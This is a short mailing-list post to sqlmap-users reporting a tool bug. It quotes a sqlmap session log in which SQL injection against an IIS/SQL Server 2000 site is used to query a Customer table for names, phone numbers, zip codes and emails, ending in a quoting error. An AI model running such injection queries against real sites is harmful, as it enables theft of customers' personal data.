[sqlmap-users] sqlmap bug

[<ja...@ev...>]

[19:10:35] [INFO] resuming back-end DBMS 'microsoft sql server 2000' from

session file

[19:10:35] [INFO] resuming union comment '--' from session file

[19:10:35] [INFO] resuming union count 3 from session file

[19:10:35] [INFO] testing connection to the target url

[19:10:36] [INFO] testing for parenthesis on injectable parameter

[19:10:36] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows

web application technology: ASP.NET, Microsoft IIS 6.0

back-end DBMS: Microsoft SQL Server 2000



do you want to retrieve the SQL statement output? [Y/n] y

[19:10:38] [INFO] fetching SQL query output: ''SELECT

OptIn,FirstName,LastName,HomePhone,Zip,Email,DateCreated FROM Customer

WHERE DateCreated LIKE '%2009%''

[19:10:38] [INFO] the SQL query provided has more than a field. sqlmap

will now unpack it into distinct queries to be able to retrieve the output

even if we are going blind

can the SQL query provided return multiple entries? [Y/n] y

[19:10:39] [INFO] retrieving the length of query output

[19:10:39] [ERROR] Unenclosed ' in 'LTRIM(STR(LEN(COUNT('SELECT OptIn))))'



[*] shutting down at: 19:10:39



sqlmap/0.9-dev -- latest svn



also, does --threads work when executing a --sql-query or anything in a

--sql-shell?



thx